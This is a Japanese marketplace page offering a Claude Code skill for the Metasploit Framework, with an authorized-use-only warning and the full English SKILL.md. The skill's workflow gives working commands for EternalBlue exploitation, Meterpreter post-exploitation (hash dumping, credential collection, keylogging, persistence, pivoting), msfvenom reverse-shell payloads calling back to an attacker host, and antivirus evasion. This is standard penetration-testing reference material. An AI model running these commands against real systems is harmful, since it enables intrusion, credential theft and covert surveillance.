🛠️ Metasploitフレームワーク
システム所有者の書面による許可を得て、教育目的またはセキュリティ評価のためにMetasploitフレームワークを使用するSkill。
📺 まず動画で見る(YouTube)
▶ 【衝撃】最強のAIエージェント「Claude Code」の最新機能・使い方・プログラミングをAIで効率化する超実践術を解説! ↗
※ jpskill.com 編集部が参考用に選んだ動画です。動画の内容と Skill の挙動は厳密には一致しないことがあります。
📜 元の英語説明(参考)
⚠️ AUTHORIZED USE ONLY > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited.
🇯🇵 日本人クリエイター向け解説
システム所有者の書面による許可を得て、教育目的またはセキュリティ評価のためにMetasploitフレームワークを使用するSkill。
※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。
下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o metasploit-framework.zip https://jpskill.com/download/3154.zip && unzip -o metasploit-framework.zip && rm metasploit-framework.zip
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/3154.zip -OutFile "$d\metasploit-framework.zip"; Expand-Archive "$d\metasploit-framework.zip" -DestinationPath $d -Force; ri "$d\metasploit-framework.zip"
完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。
💾 手動でダウンロードしたい(コマンドが難しい人向け)
- 1. 下の青いボタンを押して
metasploit-framework.zipをダウンロード - 2. ZIPファイルをダブルクリックで解凍 →
metasploit-frameworkフォルダができる - 3. そのフォルダを
C:\Users\あなたの名前\.claude\skills\(Win)または~/.claude/skills/(Mac)へ移動 - 4. Claude Code を再起動
⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。
🎯 このSkillでできること
下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。
📦 インストール方法 (3ステップ)
- 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
- 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
- 3. 展開してできたフォルダを、ホームフォルダの
.claude/skills/に置く- · macOS / Linux:
~/.claude/skills/ - · Windows:
%USERPROFILE%\.claude\skills\
- · macOS / Linux:
Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。
詳しい使い方ガイドを見る →- 最終更新
- 2026-05-17
- 取得日時
- 2026-05-17
- 同梱ファイル
- 1
💬 こう話しかけるだけ — サンプルプロンプト
- › Metasploit Framework を使って、最小構成のサンプルコードを示して
- › Metasploit Framework の主な使い方と注意点を教えて
- › Metasploit Framework を既存プロジェクトに組み込む方法を教えて
これをClaude Code に貼るだけで、このSkillが自動発動します。
📖 Skill本文(日本語訳)
※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。
[スキル名] metasploit-framework
Metasploit Framework
⚠️ 許可された使用のみ このスキルは、教育目的または許可されたセキュリティ評価のみを対象としています。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの誤用は違法であり、固く禁じられています。
目的
Metasploit Frameworkを活用し、初期の悪用から悪用後の活動まで、包括的なペネトレーションテストを実施します。Metasploitは、脆弱性の悪用、ペイロードの生成、補助的なスキャン、および許可されたセキュリティ評価中に侵害されたシステムへのアクセス維持のための統合プラットフォームを提供します。
前提条件
必要なツール
# このスキルを使用する前に、Metasploitがすでにインストールされている必要があります。
# Kali Linuxには通常プリインストールされています。
msfconsole --version
インストールは、オペレーティングシステムとパッケージソースによって異なります。このスキルを使用する前に、お使いのプラットフォームの文書化されたパッケージマネージャーまたはベンダーのインストールプロセスに従ってください。このスキル内の固定されていないリモートインストーラースクリプトに依存しないでください。
ワークスペース追跡などのデータベースバックアップ機能が必要な場合は、ローカルインストール手順に従ってmsfdbを初期化してください。このスキルは、Metasploitがすでに利用可能であり、sudo、systemctl、またはその他の特権ホストレベルのセットアップ手順を必要としないことを前提としています。
必要な知識
- ネットワークとシステムの基礎
- 脆弱性とエクスプロイトの理解
- 基本的なプログラミングの概念
- ターゲット列挙技術
必要なアクセス
- テストのための書面による許可
- ターゲットシステムへのネットワークアクセス
- 範囲と交戦規定の理解
エクスプロイトモジュールを実行する前に、正確なターゲットホスト、範囲、および認証状態をユーザーに確認するよう求めてください。
出力と成果物
- 悪用証拠 - 侵害成功のスクリーンショットとログ
- セッションログ - コマンド履歴と抽出されたデータ
- 脆弱性マッピング - CVE参照付きの悪用された脆弱性
- 悪用後成果物 - 資格情報、ファイル、システム情報
コアワークフロー
フェーズ1: MSFConsoleの基本
Metasploitコンソールを起動し、操作します。
# msfconsoleを起動
msfconsole
# 静音モード (バナーをスキップ)
msfconsole -q
# 基本的なナビゲーションコマンド
msf6 > help # 全てのコマンドを表示
msf6 > search [term] # モジュールを検索
msf6 > use [module] # モジュールを選択
msf6 > info # モジュールの詳細を表示
msf6 > show options # 必要なオプションを表示
msf6 > set [OPTION] [value] # オプションを設定
msf6 > run / exploit # モジュールを実行
msf6 > back # メインコンソールに戻る
msf6 > exit # msfconsoleを終了
フェーズ2: モジュールの種類
異なるモジュールカテゴリを理解します。
# 1. Exploit Modules - 特定の脆弱性をターゲットにする
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload Modules - 悪用後に実行されるコード
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary Modules - スキャン、ファジング、列挙
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
# 4. Post-Exploitation Modules - 侵害後のアクション
msf6 > show post
msf6 > use post/windows/gather/hashdump
# 5. Encoders - ペイロードを難読化する
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
# 6. Nops - バッファオーバーフローのためのNo-operationパディング
msf6 > show nops
# 7. Evasion - セキュリティ制御をバイパスする
msf6 > show evasion
フェーズ3: モジュールの検索
ターゲットに適したモジュールを見つけます。
# 名前で検索
msf6 > search eternalblue
# CVEで検索
msf6 > search cve:2017-0144
# プラットフォームで検索
msf6 > search platform:windows type:exploit
# タイプとキーワードで検索
msf6 > search type:auxiliary smb
# ランクでフィルタリング (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent
# 組み合わせ検索
msf6 > search type:exploit platform:linux apache
# 検索結果の列を表示:
# Name, Disclosure Date, Rank, Check (脆弱性を検証できる場合), Description
フェーズ4: エクスプロイトの設定
実行のためにエクスプロイトを設定します。
# エクスプロイトモジュールを選択
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 必要なオプションを表示
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
# ターゲットホストを設定
msf6 exploit(...) > set RHOSTS 192.168.1.100
# ターゲットポートを設定 (デフォルトと異なる場合)
msf6 exploit(...) > set RPORT 445
# 互換性のあるペイロードを表示
msf6 exploit(...) > show payloads
# ペイロードを設定
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# リバース接続のためのローカルホストを設定
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
# 全てのオプションを再度表示して確認
msf6 exploit(...) > show options
# ターゲットが脆弱かどうかを確認 (サポートされている場合)
msf6 exploit(...) > check
# エクスプロイトを実行
msf6 exploit(...) > exploit
# または
msf6 exploit(...) > run
フェーズ5: ペイロードの種類
状況に応じた適切なペイロードを選択します。
# Singles - 自己完結型、ステージングなし
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp
# Stagers - より大きなステージをダウンロードする小さなペイロード
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
# Stages - Stagerによってダウンロードされ、完全な機能を提供する
# Meterpreter, VNC, shell
# ペイロードの命名規則:
# [プラットフォーム]/[アーキテクチャ]/[ペイロードタイプ]/[接続タイプ]
# 例:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
フェーズ6: Meterpreterセッション
Meterpreterの悪用後作業を行います。
# 悪用成功後、Meterpreterプロンプトが表示されます
meterpreter >
# システム情報
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
# ファイルシステム操作
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpret 📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開
Metasploit Framework
⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Purpose
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
Prerequisites
Required Tools
# Metasploit must already be installed before using this skill.
# Kali Linux usually ships with it preinstalled.
msfconsole --version
Installation varies by operating system and package source. Follow your platform's documented package-manager or vendor installation process before using this skill. Do not rely on an unpinned remote installer script from inside this skill.
If you want database-backed features such as workspace tracking, initialize msfdb using the instructions for your local installation. This skill assumes Metasploit is already available and does not require sudo, systemctl, or other privileged host-level setup steps.
Required Knowledge
- Network and system fundamentals
- Understanding of vulnerabilities and exploits
- Basic programming concepts
- Target enumeration techniques
Required Access
- Written authorization for testing
- Network access to target systems
- Understanding of scope and rules of engagement
Before running exploit modules, ask the user to confirm the exact target host, scope, and authorization state.
Outputs and Deliverables
- Exploitation Evidence - Screenshots and logs of successful compromises
- Session Logs - Command history and extracted data
- Vulnerability Mapping - Exploited vulnerabilities with CVE references
- Post-Exploitation Artifacts - Credentials, files, and system information
Core Workflow
Phase 1: MSFConsole Basics
Launch and navigate the Metasploit console:
# Start msfconsole
msfconsole
# Quiet mode (skip banner)
msfconsole -q
# Basic navigation commands
msf6 > help # Show all commands
msf6 > search [term] # Search modules
msf6 > use [module] # Select module
msf6 > info # Show module details
msf6 > show options # Display required options
msf6 > set [OPTION] [value] # Configure option
msf6 > run / exploit # Execute module
msf6 > back # Return to main console
msf6 > exit # Exit msfconsole
Phase 2: Module Types
Understand the different module categories:
# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump
# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops
# 7. Evasion - Bypass security controls
msf6 > show evasion
Phase 3: Searching for Modules
Find appropriate modules for targets:
# Search by name
msf6 > search eternalblue
# Search by CVE
msf6 > search cve:2017-0144
# Search by platform
msf6 > search platform:windows type:exploit
# Search by type and keyword
msf6 > search type:auxiliary smb
# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent
# Combined search
msf6 > search type:exploit platform:linux apache
# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
Phase 4: Configuring Exploits
Set up an exploit for execution:
# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100
# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445
# View compatible payloads
msf6 exploit(...) > show payloads
# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
# View all options again to verify
msf6 exploit(...) > show options
# Check if target is vulnerable (if supported)
msf6 exploit(...) > check
# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run
Phase 5: Payload Types
Select appropriate payload for the situation:
# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp
# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell
# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
Phase 6: Meterpreter Session
Work with Meterpreter post-exploitation:
# After successful exploitation, you get Meterpreter prompt
meterpreter >
# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\
# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]
# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs
# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >
# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
Phase 7: Auxiliary Modules
Use auxiliary modules for reconnaissance:
# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run
# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
Phase 8: Post-Exploitation Modules
Run post modules on active sessions:
# List sessions
msf6 > sessions -l
# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run
# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump
# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds
# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs
# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester
# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence
# Pivoting
post/multi/manage/autoroute
Phase 9: Payload Generation with msfvenom
Create standalone payloads:
# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
# List available formats
msfvenom --list formats
# List available encoders
msfvenom --list encoders
Phase 10: Setting Up Handlers
Configure listener for incoming connections:
# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
# The -j flag runs as background job
msf6 > jobs -l
# When payload executes on target, session opens
[*] Meterpreter session 1 opened
# Interact with session
msf6 > sessions -i 1
Quick Reference
Essential MSFConsole Commands
| Command | Description |
|---|---|
search [term] |
Search for modules |
use [module] |
Select a module |
info |
Display module information |
show options |
Show configurable options |
set [OPT] [val] |
Set option value |
setg [OPT] [val] |
Set global option |
run / exploit |
Execute module |
check |
Verify target vulnerability |
back |
Deselect module |
sessions -l |
List active sessions |
sessions -i [N] |
Interact with session |
jobs -l |
List background jobs |
db_nmap |
Run nmap with database |
Meterpreter Essential Commands
| Command | Description |
|---|---|
sysinfo |
System information |
getuid |
Current user |
getsystem |
Attempt privilege escalation |
hashdump |
Dump password hashes |
shell |
Drop to system shell |
upload/download |
File transfer |
screenshot |
Capture screen |
keyscan_start |
Start keylogger |
migrate [PID] |
Move to another process |
background |
Background session |
portfwd |
Port forwarding |
Common Exploit Modules
# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac
# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec
# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console
Constraints and Limitations
Legal Requirements
- Only use on systems you own or have written authorization to test
- Document all testing activities
- Follow rules of engagement
- Report all findings to appropriate parties
Technical Limitations
- Modern AV/EDR may detect Metasploit payloads
- Some exploits require specific target configurations
- Firewall rules may block reverse connections
- Not all exploits work on all target versions
Operational Security
- Use encrypted channels (reverse_https) when possible
- Clean up artifacts after testing
- Avoid detection by monitoring systems
- Limit post-exploitation to agreed scope
Troubleshooting
| Issue | Solutions |
|---|---|
| Database not connected | Run sudo msfdb init, start PostgreSQL, then db_connect |
| Exploit fails/no session | Run check; verify payload architecture; check firewall; try different payloads |
| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |
| Payload detected by AV | Use encoding -e x86/shikata_ga_nai -i 10; use evasion modules; custom templates |
When to Use
This skill is applicable to execute the workflow or actions described in the overview.